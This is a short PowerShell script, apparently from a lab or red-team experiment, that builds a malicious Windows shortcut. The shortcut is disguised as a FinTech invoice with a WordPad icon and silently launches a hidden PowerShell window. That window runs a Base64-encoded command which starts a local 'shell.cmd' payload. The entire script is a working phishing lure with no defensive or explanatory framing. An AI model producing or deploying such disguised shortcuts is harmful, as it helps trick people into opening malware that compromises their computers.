$command = 'Start-Process c:\shell.cmd'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\experiments\ole+lnk\Invoice-FinTech-0900541.lnk")
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
$link.arguments = "-Nop -sta -noni -w hidden -encodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAOgBcAHMAaABlAGwAbAAuAGMAbQBkAA=="